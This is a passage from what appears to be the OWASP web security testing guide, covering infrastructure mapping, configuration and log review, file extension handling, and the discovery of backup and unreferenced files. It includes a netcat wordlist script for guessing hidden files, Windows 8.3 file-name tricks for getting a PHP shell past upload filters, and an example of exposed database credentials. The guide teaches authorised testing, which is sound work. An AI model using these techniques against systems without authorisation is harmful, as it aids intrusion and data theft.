FW-1 at XXXXXX: Access denied.</BODY>
```

Example of the security server of Check Point Firewall-1 NG AI “protecting” a web server

Reverse proxies can also be introduced as proxy-caches to accelerate the performance of back-end application servers. Detecting these proxies can be done based on the server header. They can also be detected by timing requests that should be cached by the server and comparing the time taken to server the first request with subsequent requests.

Another element that can be detected is network load balancers. Typically, these systems will balance a given TCP/IP port to multiple servers based on different algorithms (round-robin, web server load, number of requests, etc.). Thus, the detection of this architecture element needs to be done by examining multiple requests and comparing results to determine if the requests are going to the same or different web servers. For example, based on the Date header if the server clocks are not synchronized. In some cases, the network load balance process might inject new information in the headers that will make it stand out distinctively, like the AlteonP cookie introduced by Nortel's Alteon WebSystems load balancer.

Application web servers are usually easy to detect. The request for several resources is handled by the application server itself (not the web server) and the response header will vary significantly (including different or additional values in the answer header). Another way to detect these is to see if the web server tries to set cookies which are indicative of an application web server being used (such as the JSESSIONID provided by some J2EE servers), or to rewrite URLs automatically to do session tracking.

Authentication back ends (such as LDAP directories, relational databases, or RADIUS servers) however, are not as easy to detect from an external point of view in an immediate way, since they will be hidden by the application itself.

The use of a back end database can be determined simply by navigating an application. If there is highly dynamic content generated “on the fly,” it is probably being extracted from some sort of database by the application itself. Sometimes the way information is requested might give insight to the existence of a database back-end. For example, an online shopping application that uses numeric identifiers ('id') when browsing the different articles in the shop. However, when doing a blind application test, knowledge of the underlying database is usually only available when a vulnerability surfaces in the application, such as poor exception handling or susceptibility to SQL injection.

References

- [1] WebSEAL, also known as Tivoli Authentication Manager, is a reverse proxy from IBM which is part of the Tivoli framework.
- [2] There are some GUI-based administration tools for Apache (like NetLoony) but they are not in widespread use yet.

Configuration and Deployment Management Testing

Understanding the deployed configuration of the server hosting the web application is almost as important as the application security testing itself. After all, an application chain is only as strong as its weakest link. Application platforms are wide and varied, but some key platform configuration errors can compromise the application in the same way an unsecured application can compromise the server.

In order to evaluate the readiness of the application platform, testing for configuration management includes the following sections:

- [Test Network/Infrastructure Configuration \(OTG-CONFIG-001\)](#)
- [Test Application Platform Configuration \(OTG-CONFIG-002\)](#)
- [Test File Extensions Handling for Sensitive Information \(OTG-CONFIG-003\)](#)
- [Review Old, Backup and Unreferenced Files for Sensitive Information \(OTG-CONFIG-004\)](#)
- [Enumerate Infrastructure and Application Admin Interfaces \(OTG-CONFIG-005\)](#)
- [Test HTTP Methods \(OTG-CONFIG-006\)](#)
- [Test HTTP Strict Transport Security \(OTG-CONFIG-007\)](#)
- [Test RIA cross domain policy \(OTG-CONFIG-008\)](#)

Test Network/Infrastructure Configuration (OTG-CONFIG-001)

Summary

The intrinsic complexity of interconnected and heterogeneous web server infrastructure, which can include hundreds of web applications, makes configuration management and review a fundamental step in testing and deploying every single application. It takes only a single vulnerability to undermine the security of the entire infrastructure, and even small and seemingly unimportant problems may evolve into severe risks for another application on the same server. In order to address these problems, it is of utmost importance to perform an in-depth review of configuration and known security issues, after having mapped the entire architecture.

Proper configuration management of the web server infrastructure is very important in order to preserve the security of the application itself. If elements such as the web server software, the back-end database servers, or the authentication servers are not properly reviewed and secured, they might introduce undesired risks or introduce new vulnerabilities that might compromise the application itself.

For example, a web server vulnerability that would allow a remote attacker to disclose the source code of the application itself (a vulnerability that has arisen a number of times in both web servers or application servers) could compromise the application, as anonymous users could use the information disclosed in the source code to leverage attacks against the application or its users.

The following steps need to be taken to test the configuration management infrastructure:

- The different elements that make up the infrastructure need to be determined in order to understand how they interact with a web application and how they affect its security.
- All the elements of the infrastructure need to be reviewed in order to make sure that they don't contain any known vulnerabilities.
- A review needs to be made of the administrative tools used to maintain all the different elements.
- The authentication systems, need to be reviewed in order to assure that they serve the needs of the application and that they cannot be manipulated by external users to leverage access.
- A list of defined ports which are required for the application should be maintained and kept under change control.

After having mapped the different elements that make up the infrastructure (see [Map Network and Application Architecture](#)) it is possible to review the configuration of each element founded and test for any known vulnerabilities.

How to Test

Known Server Vulnerabilities

Vulnerabilities found in the different areas of the application architecture, be it in the web server or in the back end database, can severely compromise the application itself. For example, consider a server vulnerability that allows a remote, unauthenticated user to upload files to the web server or even to replace files. This vulnerability could compromise the application, since a rogue user may be able to replace the application itself or introduce code that would affect the back end servers, as its application code would be run just like any other application.

Reviewing server vulnerabilities can be hard to do if the test needs to be done through a blind penetration test. In these cases, vulnerabilities need to be tested from a remote site, typically using an automated tool. However, testing for some vulnerabilities can have unpredictable results on the web server, and testing for others (like those directly involved in denial of service attacks) might not be possible due to the service downtime involved if the test was successful.

Some automated tools will flag vulnerabilities based on the web server version retrieved. This leads to both false positives and false negatives. On one hand, if the web server version has been removed or obscured by the local site administrator the scan tool will not flag the server as vulnerable even if it is. On the other hand, if the vendor providing the software does not update the web server version when vulnerabilities are fixed, the scan tool will flag vulnerabilities that do not exist. The latter case is actually very common as some operating system vendors back port patches of security vulnerabilities to the software they provide in the operating system, but do not do a full upload to the latest software version. This happens in most GNU/Linux distributions such as Debian, Red Hat or SuSE. In most cases, vulnerability scanning of an application architecture will only find vulnerabilities associated with the “exposed” elements of the architecture (such as the web server) and will usually be unable to find vulnerabilities associated to elements which are not directly exposed, such as the authentication back ends, the back end database, or reverse proxies in use.

Finally, not all software vendors disclose vulnerabilities in a public way, and therefore these weaknesses do not become registered within publicly known vulnerability databases[2]. This information is only disclosed to customers or published through fixes that do not have accompanying advisories. This reduces the usefulness of vulnerability scanning tools. Typically, vulnerability coverage of these tools will be very good for common products (such as the Apache web server, Microsoft’s Internet Information Server, or IBM’s Lotus Domino) but will be lacking for lesser known products.

This is why reviewing vulnerabilities is best done when the tester is provided with internal information of the software used, including versions and releases used and patches applied to the software. With this information, the tester can retrieve the information from the vendor itself and analyze what vulnerabilities might be present in the architecture and how they can affect the application itself. When possible, these vulnerabilities can be tested to determine their real effects and to detect if there might be any external elements (such as intrusion detection or prevention systems) that might reduce or negate the possibility of successful exploitation. Testers might even determine, through a configuration review, that the vulnerability is not even present, since it affects a software component that is not in use.

It is also worthwhile to note that vendors will sometimes silently fix vulnerabilities and make the fixes available with new software releases. Different vendors will have different release cycles that determine the support they might provide for older releases. A tester with detailed information of the software versions used by the architecture can analyse the risk associated to the use of old software releases that might be unsupported in the short term or are already unsupported. This is critical, since if a vulnerability were to surface in an old software version that is no longer supported, the systems personnel might not be directly aware of it. No patches will be ever made available for it and advisories might not list that version as vulnerable as it is no longer supported. Even in the event that they are aware that the vulnerability is present and the system is vulnerable, they will need to do a full upgrade to a new software release, which might introduce significant downtime in the application architecture or might force the application to be re-coded due to incompatibilities with the latest software version.

Administrative tools

Any web server infrastructure requires the existence of administrative tools to maintain and update the information used by the application. This information includes static content (web pages, graphic files), application source code, user authentication databases, etc. Administrative tools will differ depending on the site, technology, or software used. For example, some web servers will be managed using administrative interfaces which are, themselves, web servers (such as the iPlanet web server) or will be administrated by plain text configuration files (in the Apache case[3]) or use operating-system GUI tools (when using Microsoft’s IIS server or ASP.Net).

In most cases the server configuration will be handled using different file maintenance tools used by the web server, which are managed through FTP servers, WebDAV, network file systems (NFS, CIFS) or other mechanisms. Obviously, the operating system of the elements that make up the application architecture will also be managed using other tools. Applications may also have administrative interfaces embedded in them that are used to manage the application data itself (users, content, etc.).

After having mapped the administrative interfaces used to manage the different parts of the architecture it is important to review them since if an attacker gains access to any of them he can then compromise or damage the application architecture. To do this it is important to:

- Determine the mechanisms that control access to these interfaces and their associated susceptibilities. This information may be available online.
- Change the default username and password.

Some companies choose not to manage all aspects of their web server applications, but may have other parties managing the content delivered by the web application. This external company might either provide only parts of the content (news updates or promotions) or might manage the web server completely (including content and code). It is common to find administrative interfaces available from the Internet in these situations, since using the Internet is cheaper than providing a dedicated line that will connect the external company to the application infrastructure through a management-only interface. In this situation, it is very important to test if the administrative interfaces can be vulnerable to attacks.

References

- [1] WebSEAL, also known as Tivoli Authentication Manager, is a reverse proxy from IBM which is part of the Tivoli framework.
- [2] Such as Symantec's Bugtraq, ISS' X-Force, or NIST's National Vulnerability Database (NVD).
- [3] There are some GUI-based administration tools for Apache (like NetLoony) but they are not in widespread use yet.

Test Application Platform Configuration (OTG-CONFIG-002)

Summary

Proper configuration of the single elements that make up an application architecture is important in order to prevent mistakes that might compromise the security of the whole architecture.

Configuration review and testing is a critical task in creating and maintaining an architecture. This is because many different systems will be usually provided with generic configurations that might not be suited to the task they will perform on the specific site they're installed on.

While the typical web and application server installation will contain a lot of functionality (like application examples, documentation, test pages) what is not essential should be removed before deployment to avoid post-install exploitation.

How to Test

Black Box Testing

Sample and known files and directories

Many web servers and application servers provide, in a default installation, sample applications and files that are provided for the benefit of the developer and in order to test that the server is working properly right after installation. However, many default web server applications have been later known to be vulnerable. This was the case, for example, for CVE-1999-0449 (Denial of Service in IIS when the Exair sample site had been installed), CAN-2002-1744 (Directory traversal vulnerability in CodeBrws.asp in Microsoft IIS 5.0), CAN-2002-1630 (Use of sendmail.jsp in Oracle 9iAS), or CAN-2003-1172 (Directory traversal in the view-source sample in Apache's Cocoon).

CGI scanners include a detailed list of known files and directory samples that are provided by different web or application servers and might be a fast way to determine if these files are present. However, the only way to be really sure is to do a full review of the contents of the web server or application server and determine of whether they are related to the application itself or not.

Comment review

It is very common, and even recommended, for programmers to include detailed comments on their source code in order to allow for other programmers to better understand why a given decision was taken in coding a given function. Programmers usually add comments when developing large web-based applications. However, comments included inline in HTML code might reveal internal information that should not be available to an attacker. Sometimes, even source code is commented out since a functionality is no longer required, but this comment is leaked out to the HTML pages returned to the users unintentionally.

Comment review should be done in order to determine if any information is being leaked through comments. This review can only be thoroughly done through an analysis of the web server static and dynamic content and through file searches. It can be useful to browse the site either in an automatic or guided fashion and store all the content retrieved. This retrieved content can then be searched in order to analyse any HTML comments available in the code.

Gray Box Testing

Configuration review

The web server or application server configuration takes an important role in protecting the contents of the site and it must

be carefully reviewed in order to spot common configuration mistakes. Obviously, the recommended configuration varies depending on the site policy, and the functionality that should be provided by the server software. In most cases, however, configuration guidelines (either provided by the software vendor or external parties) should be followed to determine if the server has been properly secured.

It is impossible to generically say how a server should be configured, however, some common guidelines should be taken into account:

- Only enable server modules (ISAPI extensions in the case of IIS) that are needed for the application. This reduces the attack surface since the server is reduced in size and complexity as software modules are disabled. It also prevents vulnerabilities that might appear in the vendor software from affecting the site if they are only present in modules that have been already disabled.
- Handle server errors (40x or 50x) with custom-made pages instead of with the default web server pages. Specifically make sure that any application errors will not be returned to the end-user and that no code is leaked through these errors since it will help an attacker. It is actually very common to forget this point since developers do need this information in pre-production environments.
- Make sure that the server software runs with minimized privileges in the operating system. This prevents an error in the server software from directly compromising the whole system, although an attacker could elevate privileges once running code as the web server.
- Make sure the server software properly logs both legitimate access and errors.
- Make sure that the server is configured to properly handle overloads and prevent Denial of Service attacks. Ensure that the server has been performance-tuned properly.
- Never grant non-administrative identities (with the exception of NT SERVICE\WMSvc) access to applicationHost.config, redirection.config, and administration.config (either Read or Write access). This includes Network Service, IIS_IUSR, IUSR, or any custom identity used by IIS application pools. IIS worker processes are not meant to access any of these files directly.
- Never share out applicationHost.config, redirection.config, and administration.config on the network. When using Shared Configuration, prefer to export applicationHost.config to another location (see the section titled "Setting Permissions for Shared Configuration").
- Keep in mind that all users can read .NET Framework machine.config and root web.config files by default. Do not store sensitive information in these files if it should be for administrator eyes only.
- Encrypt sensitive information that should be read by the IIS worker processes only and not by other users on the machine.
- Do not grant Write access to the identity that the Web server uses to access the shared applicationHost.config. This identity should have only Read access.
- Use a separate identity to publish applicationHost.config to the share. Do not use this identity for configuring access to the shared configuration on the Web servers.
- Use a strong password when exporting the encryption keys for use with shared -configuration.
- Maintain restricted access to the share containing the shared configuration and encryption keys. If this share is compromised, an attacker will be able to read and write any IIS configuration for your Web servers, redirect traffic from your Web site to malicious sources, and in some cases gain control of all web servers by loading arbitrary code into IIS worker processes.
- Consider protecting this share with firewall rules and IPsec policies to allow only the member web servers to connect.

Logging

Logging is an important asset of the security of an application architecture, since it can be used to detect flaws in applications (users constantly trying to retrieve a file that does not really exist) as well as sustained attacks from rogue users. Logs are typically properly generated by web and other server software. It is not common to find applications that properly log their actions to a log and, when they do, the main intention of the application logs is to produce debugging output that could be used by the programmer to analyze a particular error.

In both cases (server and application logs) several issues should be tested and analysed based on the log contents:

1. Do the logs contain sensitive information?
2. Are the logs stored in a dedicated server?
3. Can log usage generate a Denial of Service condition?
4. How are they rotated? Are logs kept for the sufficient time?
5. How are logs reviewed? Can administrators use these reviews to detect targeted attacks?
6. How are log backups preserved?
7. Is the data being logged data validated (min/max length, chars etc) prior to being logged?

Sensitive information in logs

Some applications might, for example, use GET requests to forward form data which will be seen in the server logs. This means that server logs might contain sensitive information (such as usernames as passwords, or bank account details). This sensitive information can be misused by an attacker if they obtained the logs, for example, through administrative interfaces or known web server vulnerabilities or misconfiguration (like the well-known *server-status* misconfiguration in Apache-based HTTP servers).

Event logs will often contain data that is useful to an attacker (information leakage) or can be used directly in exploits:

- Debug information
- Stack traces
- Usernames
- System component names
- Internal IP addresses
- Less sensitive personal data (e.g. email addresses, postal addresses and telephone numbers associated with named individuals)
- Business data

Also, in some jurisdictions, storing some sensitive information in log files, such as personal data, might oblige the enterprise to apply the data protection laws that they would apply to their back-end databases to log files too. And failure to do so, even unknowingly, might carry penalties under the data protection laws that apply.

A wider list of sensitive information is:

- Application source code
- Session identification values
- Access tokens
- Sensitive personal data and some forms of personally identifiable information (PII)
- Authentication passwords
- Database connection strings
- Encryption keys
- Bank account or payment card holder data
- Data of a higher security classification than the logging system is allowed to store
- Commercially-sensitive information
- Information it is illegal to collect in the relevant jurisdiction
- Information a user has opted out of collection, or not consented to e.g. use of do not track, or where consent to collect has expired

Log location

Typically servers will generate local logs of their actions and errors, consuming the disk of the system the server is running on. However, if the server is compromised its logs can be wiped out by the intruder to clean up all the traces of its attack and methods. If this were to happen the system administrator would have no knowledge of how the attack occurred or where the attack source was located. Actually, most attacker tool kits include a *log zapper* that is capable of cleaning up any logs that hold given information (like the IP address of the attacker) and are routinely used in attacker's system-level root kits.

Consequently, it is wiser to keep logs in a separate location and not in the web server itself. This also makes it easier to aggregate logs from different sources that refer to the same application (such as those of a web server farm) and it also makes it easier to do log analysis (which can be CPU intensive) without affecting the server itself.

Log storage

Logs can introduce a Denial of Service condition if they are not properly stored. Any attacker with sufficient resources could be able to produce a sufficient number of requests that would fill up the allocated space to log files, if they are not specifically prevented from doing so. However, if the server is not properly configured, the log files will be stored in the same disk partition as the one used for the operating system software or the application itself. This means that if the disk were to be filled up the operating system or the application might fail because it is unable to write on disk.

Typically in UNIX systems logs will be located in /var (although some server installations might reside in /opt or /usr/local) and it is important to make sure that the directories in which logs are stored are in a separate partition. In some cases, and in order to prevent the system logs from being affected, the log directory of the server software itself (such as /var/log/apache in the Apache web server) should be stored in a dedicated partition.

This is not to say that logs should be allowed to grow to fill up the file system they reside in. Growth of server logs should be monitored in order to detect this condition since it may be indicative of an attack.

Testing this condition is as easy, and as dangerous in production environments, as firing off a sufficient and sustained number of requests to see if these requests are logged and if there is a possibility to fill up the log partition through these requests. In some environments where QUERY_STRING parameters are also logged regardless of whether they are produced through GET or POST requests, big queries can be simulated that will fill up the logs faster since, typically, a single request will cause only a small amount of data to be logged, such as date and time, source IP address, URI request, and server result.

Log rotation

Most servers (but few custom applications) will rotate logs in order to prevent them from filling up the file system they reside on. The assumption when rotating logs is that the information in them is only necessary for a limited amount of time.

This feature should be tested in order to ensure that:

- Logs are kept for the time defined in the security policy, not more and not less.
- Logs are compressed once rotated (this is a convenience, since it will mean that more logs will be stored for the same available disk space).
- File system permission of rotated log files are the same (or stricter) that those of the log files itself. For example, web servers will need to write to the logs they use but they don't actually need to write to rotated logs, which means that the permissions of the files can be changed upon rotation to prevent the web server process from modifying these.

Some servers might rotate logs when they reach a given size. If this happens, it must be ensured that an attacker cannot force logs to rotate in order to hide his tracks.

Log Access Control

Event log information should never be visible to end users. Even web administrators should not be able to see such logs since it breaks separation of duty controls. Ensure that any access control schema that is used to protect access to raw logs and any applications providing capabilities to view or search the logs is not linked with access control schemas for other application user roles. Neither should any log data be viewable by unauthenticated users.

Log review

Review of logs can be used for more than extraction of usage statistics of files in the web servers (which is typically what most log-based application will focus on), but also to determine if attacks take place at the web server.

In order to analyze web server attacks the error log files of the server need to be analyzed. Review should concentrate on:

- 40x (not found) error messages. A large amount of these from the same source might be indicative of a CGI scanner tool being used against the web server
- 50x (server error) messages. These can be an indication of an attacker abusing parts of the application which fail unexpectedly. For example, the first phases of a SQL injection attack will produce these error message when the SQL query is not properly constructed and its execution fails on the back end database.

Log statistics or analysis should not be generated, nor stored, in the same server that produces the logs. Otherwise, an attacker might, through a web server vulnerability or improper configuration, gain access to them and retrieve similar information as would be disclosed by log files themselves.

References

- Apache
 - Apache Security, by Ivan Ristic, O'reilly, March 2005.
 - Apache Security Secrets: Revealed (Again), Mark Cox, November 2003 - <http://www.awe.com/mark/apcon2003/>
 - Apache Security Secrets: Revealed, ApacheCon 2002, Las Vegas, Mark J Cox, October 2002 - <http://www.awe.com/mark/apcon2002>
 - Performance Tuning - <http://httpd.apache.org/docs/misc/perf-tuning.html>
- Lotus Domino
 - Lotus Security Handbook, William Tworek et al., April 2004, available in the IBM Redbooks collection
 - Lotus Domino Security, an X-force white-paper, Internet Security Systems, December 2002
 - Hackproofing Lotus Domino Web Server, David Litchfield, October 2001,
 - NGSSoftware Insight Security Research, available at <http://www.nextgenss.com>
- Microsoft IIS
 - IIS 6.0 Security, by Rohyt Belani, Michael Muckin, - <http://www.securityfocus.com/print/infocus/1765>
 - IIS 7.0 Securing Configuration -<http://technet.microsoft.com/en-us/library/dd163536.aspx>
 - Securing Your Web Server (Patterns and Practices), Microsoft Corporation, January 2004
 - IIS Security and Programming Countermeasures, by Jason Coombs
 - From Blueprint to Fortress: A Guide to Securing IIS 5.0, by John Davis, Microsoft Corporation, June 2001
 - Secure Internet Information Services 5 Checklist, by Michael Howard, Microsoft Corporation, June 2000
 - "INFO: Using URLScan on IIS" - <http://support.microsoft.com/default.aspx?scid=307608>
- Red Hat's (formerly Netscape's) iPlanet
 - Guide to the Secure Configuration and Administration of iPlanet Web Server, Enterprise Edition 4.1, by James M Hayes, The Network Applications Team of the Systems and Network Attack Center (SNAC), NSA, January 2001
- WebSphere
 - IBM WebSphere V5.0 Security, WebSphere Handbook Series, by Peter Kovari et al., IBM, December 2002.
 - IBM WebSphere V4.0 Advanced Edition Security, by Peter Kovari et al., IBM, March 2002.
- General
 - [Logging Cheat Sheet](#), OWASP
 - [SP 800-92](#) Guide to Computer Security Log Management, NIST
 - [PCI DSS v2.0](#) Requirement 10 and PA-DSS v2.0 Requirement 4, PCI Security Standards Council
- Generic:
 - CERT Security Improvement Modules: Securing Public Web Servers - <http://www.cert.org/security-improvement/>
 - Apache Security Configuration Document, InterSect Alliance - <http://www.intersectalliance.com/projects/ApacheConfig/index.html>
 - "How To: Use IISLockdown.exe" - <http://msdn.microsoft.com/library/en-us/secmod/html/secmod113.asp>

Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)

Summary

File extensions are commonly used in web servers to easily determine which technologies, languages and plugins must be used to fulfill the web request. While this behavior is consistent with RFCs and Web Standards, using standard file extensions provides the penetration tester useful information about the underlying technologies used in a web appliance and greatly simplifies the task of determining the attack scenario to be used on particular technologies. In addition, mis-configuration of web servers could easily reveal confidential information about access credentials.

Extension checking is often used to validate files to be uploaded, which can lead to unexpected results because the content is not what is expected, or because of unexpected OS file name handling.

Determining how web servers handle requests corresponding to files having different extensions may help in understanding web server behavior depending on the kind of files that are accessed. For example, it can help to understand which file extensions are returned as text or plain versus those that cause execution on the server side. The latter are indicative of technologies, languages or plugins that are used by web servers or application servers, and may provide additional insight on how the web application is engineered. For example, a “.pl” extension is usually associated with server-side Perl support. However, the file extension alone may be deceptive and not fully conclusive. For example, Perl server-side resources might be renamed to conceal the fact that they are indeed Perl related. See the next section on “web server components” for more on identifying server side technologies and components.

How to Test

Forced browsing

Submit http[s] requests involving different file extensions and verify how they are handled. The verification should be on a per web directory basis. Verify directories that allow script execution. Web server directories can be identified by vulnerability scanners, which look for the presence of well-known directories. In addition, mirroring the web site structure allows the tester to reconstruct the tree of web directories served by the application.

If the web application architecture is load-balanced, it is important to assess all of the web servers. This may or may not be easy, depending on the configuration of the balancing infrastructure. In an infrastructure with redundant components there may be slight variations in the configuration of individual web or application servers. This may happen if the web architecture employs heterogeneous technologies (think of a set of IIS and Apache web servers in a load-balancing configuration, which may introduce slight asymmetric behavior between them, and possibly different vulnerabilities).

Example:

The tester has identified the existence of a file named connection.inc. Trying to access it directly gives back its contents, which are:

```
<?
    mysql_connect("127.0.0.1", "root", "")
    or die("Could not connect");
?>
```

The tester determines the existence of a MySQL DBMS back end, and the (weak) credentials used by the web application to access it.

The following file extensions should never be returned by a web server, since they are related to files which may contain sensitive information or to files for which there is no reason to be served.

- .asa
- .inc

The following file extensions are related to files which, when accessed, are either displayed or downloaded by the browser. Therefore, files with these extensions must be checked to verify that they are indeed supposed to be served (and are not leftovers), and that they do not contain sensitive information.

- .zip, .tar, .gz, .tgz, .rar, ...: (Compressed) archive files
- .java: No reason to provide access to Java source files
- .txt: Text files
- .pdf: PDF documents
- .doc, .rtf, .xls, .ppt, ...: Office documents
- .bak, .old and other extensions indicative of backup files (for example: ~ for Emacs backup files)

The list given above details only a few examples, since file extensions are too many to be comprehensively treated here. Refer to <http://filext.com/> for a more thorough database of extensions.

To identify files having a given extensions a mix of techniques can be employed. These techniques can include Vulnerability Scanners, spidering and mirroring tools, manually inspecting the application (this overcomes limitations in automatic spidering), querying search engines (see [Testing: Spidering and googling](#)). See also [Testing for Old, Backup and Unreferenced Files](#) which deals with the security issues related to "forgotten" files.

File Upload

Windows 8.3 legacy file handling can sometimes be used to defeat file upload filters

Usage Examples:

file.phtml gets processed as PHP code

FILE-1.PHT is served, but not processed by the PHP ISAPI handler

shell.phPWND can be uploaded

SHELL-1.PHP will be expanded and returned by the OS shell, then processed by the PHP ISAPI handler

Gray Box testing

Performing white box testing against file extensions handling amounts to checking the configurations of web servers or application servers taking part in the web application architecture, and verifying how they are instructed to serve different file extensions.

If the web application relies on a load-balanced, heterogeneous infrastructure, determine whether this may introduce different behavior.

Tools

Vulnerability scanners, such as Nessus and Nikto check for the existence of well-known web directories. They may allow the tester to download the web site structure, which is helpful when trying to determine the configuration of web directories and how individual file extensions are served. Other tools that can be used for this purpose include:

- wget - <http://www.gnu.org/software/wget>

- curl - <http://curl.haxx.se>
- google for “web mirroring tools”.

Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)

Summary

While most of the files within a web server are directly handled by the server itself, it isn't uncommon to find unreferenced or forgotten files that can be used to obtain important information about the infrastructure or the credentials.

Most common scenarios include the presence of renamed old versions of modified files, inclusion files that are loaded into the language of choice and can be downloaded as source, or even automatic or manual backups in form of compressed archives. Backup files can also be generated automatically by the underlying file system the application is hosted on, a feature usually referred to as "snapshots".

All these files may grant the tester access to inner workings, back doors, administrative interfaces, or even credentials to connect to the administrative interface or the database server.

An important source of vulnerability lies in files which have nothing to do with the application, but are created as a consequence of editing application files, or after creating on-the-fly backup copies, or by leaving in the web tree old files or unreferenced files. Performing in-place editing or other administrative actions on production web servers may inadvertently leave backup copies, either generated automatically by the editor while editing files, or by the administrator who is zipping a set of files to create a backup.

It is easy to forget such files and this may pose a serious security threat to the application. That happens because backup copies may be generated with file extensions differing from those of the original files. A *.tar*, *.zip* or *.gz* archive that we generate (and forget...) has obviously a different extension, and the same happens with automatic copies created by many editors (for example, emacs generates a backup copy named *file~* when editing *file*). Making a copy by hand may produce the same effect (think of copying *file* to *file.old*). The underlying file system the application is on could be making "snapshots" of your application at different points in time without your knowledge, which may also be accessible via the web, posing a similar but different "backup file" style threat to your application.

As a result, these activities generate files that are not needed by the application and may be handled differently than the original file by the web server. For example, if we make a copy of *login.asp* named *login.asp.old*, we are allowing users to download the source code of *login.asp*. This is because *login.asp.old* will be typically served as text or plain, rather than being executed because of its extension. In other words, accessing *login.asp* causes the execution of the server-side code of *login.asp*, while accessing *login.asp.old* causes the content of *login.asp.old* (which is, again, server-side code) to be plainly returned to the user and displayed in the browser. This may pose security risks, since sensitive information may be revealed.

Generally, exposing server side code is a bad idea. Not only are you unnecessarily exposing business logic, but you may be unknowingly revealing application-related information which may help an attacker (path names, data structures, etc.). Not to mention the fact that there are too many scripts with embedded username and password in clear text (which is a careless and very dangerous practice).

Other causes of unreferenced files are due to design or configuration choices when they allow diverse kind of application-related files such as data files, configuration files, log files, to be stored in file system directories that can be accessed by the web server. These files have normally no reason to be in a file system space that could be accessed via web, since they should be accessed only at the application level, by the application itself (and not by the casual user browsing around).

Threats

Old, backup and unreferenced files present various threats to the security of a web application:

- Unreferenced files may disclose sensitive information that can facilitate a focused attack against the application; for example include files containing database credentials, configuration files containing references to other hidden content, absolute file paths, etc.
- Unreferenced pages may contain powerful functionality that can be used to attack the application; for example an administration page that is not linked from published content but can be accessed by any user who knows where to find it.
- Old and backup files may contain vulnerabilities that have been fixed in more recent versions; for example *viewdoc.old.jsp* may contain a directory traversal vulnerability that has been fixed in *viewdoc.jsp* but can still be exploited by anyone who finds the old version.
- Backup files may disclose the source code for pages designed to execute on the server; for example requesting *viewdoc.bak* may return the source code for *viewdoc.jsp*, which can be reviewed for vulnerabilities that may be difficult to find by making blind requests to the executable page. While this threat obviously applies to scripted languages, such as Perl, PHP, ASP, shell scripts, JSP, etc., it is not limited to them, as shown in the example provided in the next bullet.
- Backup archives may contain copies of all files within (or even outside) the webroot. This allows an attacker to quickly enumerate the entire application, including unreferenced pages, source code, include files, etc. For example, if you forget a file named *myservlets.jar.old* file containing (a backup copy of) your servlet implementation classes, you are exposing a lot of sensitive information which is susceptible to decompilation and reverse engineering.
- In some cases copying or editing a file does not modify the file extension, but modifies the file name. This happens for example in Windows environments, where file copying operations generate file names prefixed with “Copy of “ or localized versions of this string. Since the file extension is left unchanged, this is not a case where an executable file is returned as plain text by the web server, and therefore not a case of source code disclosure. However, these files too are dangerous because there is a chance that they include obsolete and incorrect logic that, when invoked, could trigger application errors, which might yield valuable information to an attacker, if diagnostic message display is enabled.
- Log files may contain sensitive information about the activities of application users, for example sensitive data passed in URL parameters, session IDs, URLs visited (which may disclose additional unreferenced content), etc. Other log files (e.g. ftp logs) may contain sensitive information about the maintenance of the application by system administrators.
- File system snapshots may contain copies of the code that contain vulnerabilities that have been fixed in more recent versions. For example *./snapshot/monthly.1/view.php* may contain a directory traversal vulnerability that has been fixed in */view.php* but can still be exploited by anyone who finds the old version.

How to Test

Black Box Testing

Testing for unreferenced files uses both automated and manual techniques, and typically involves a combination of the following:

Inference from the naming scheme used for published content

Enumerate all of the application’s pages and functionality. This can be done manually using a browser, or using an application spidering tool. Most applications use a recognizable naming scheme, and organize resources into pages and directories using words that describe their function. From the naming scheme used for published content, it is often possible to infer the name and location of unreferenced pages. For example, if a page *viewuser.asp* is found, then look also for *edituser.asp*, *adduser.asp* and *deleteuser.asp*. If a directory */app/user* is found, then look also for */app/admin* and */app/manager*.

Other clues in published content

Many web applications leave clues in published content that can lead to the discovery of hidden pages and functionality. These clues often appear in the source code of HTML and JavaScript files. The source code for all published content should be manually reviewed to identify clues about other pages and functionality. For example:

Programmers' comments and commented-out sections of source code may refer to hidden content:

```
<!-- <A HREF="uploadfile.jsp">Upload a document to the server</A> -->
<!-- Link removed while bugs in uploadfile.jsp are fixed -->
```

JavaScript may contain page links that are only rendered within the user's GUI under certain circumstances:

```
var adminUser=false;
:
if (adminUser) menu.add (new menuItem ("Maintain users", "/admin/useradmin.jsp"));
```

HTML pages may contain FORMs that have been hidden by disabling the SUBMIT element:

```
<FORM action="forgotPassword.jsp" method="post">
  <INPUT type="hidden" name="userID" value="123">
  <!-- <INPUT type="submit" value="Forgot Password"> -->
</FORM>
```

Another source of clues about unreferenced directories is the `/robots.txt` file used to provide instructions to web robots:

```
User-agent: *
Disallow: /Admin
Disallow: /uploads
Disallow: /backup
Disallow: /~jbloggs
Disallow: /include
```

Blind guessing

In its simplest form, this involves running a list of common file names through a request engine in an attempt to guess files and directories that exist on the server. The following netcat wrapper script will read a wordlist from stdin and perform a basic guessing attack:

```
#!/bin/bash

server=www.targetapp.com
port=80

while read url
do
echo -ne "$url\t"
echo -e "GET /$url HTTP/1.0\nHost: $server\n" | netcat $server $port | head -1
done | tee outputfile
```

Depending upon the server, GET may be replaced with HEAD for faster results. The output file specified can be grepped for "interesting" response codes. The response code 200 (OK) usually indicates that a valid resource has been found (provided the server does not deliver a custom "not found" page using the 200 code). But also look out for 301 (Moved), 302 (Found), 401 (Unauthorized), 403 (Forbidden) and 500 (Internal error), which may also indicate resources or directories that are worthy of further investigation.

The basic guessing attack should be run against the webroot, and also against all directories that have been identified through other enumeration techniques. More advanced/effective guessing attacks can be performed as follows:

- Identify the file extensions in use within known areas of the application (e.g. jsp, aspx, html), and use a basic wordlist appended with each of these extensions (or use a longer list of common extensions if resources permit).

- For each file identified through other enumeration techniques, create a custom wordlist derived from that filename. Get a list of common file extensions (including ~, bak, txt, src, dev, old, inc, orig, copy, tmp, etc.) and use each extension before, after, and instead of, the extension of the actual file name.

Note: Windows file copying operations generate file names prefixed with "Copy of " or localized versions of this string, hence they do not change file extensions. While "Copy of " files typically do not disclose source code when accessed, they might yield valuable information in case they cause errors when invoked.

Information obtained through server vulnerabilities and misconfiguration

The most obvious way in which a misconfigured server may disclose unreferenced pages is through directory listing. Request all enumerated directories to identify any which provide a directory listing.

Numerous vulnerabilities have been found in individual web servers which allow an attacker to enumerate unreferenced content, for example:

- Apache ?M=D directory listing vulnerability.
- Various IIS script source disclosure vulnerabilities.
- IIS WebDAV directory listing vulnerabilities.

Use of publicly available information

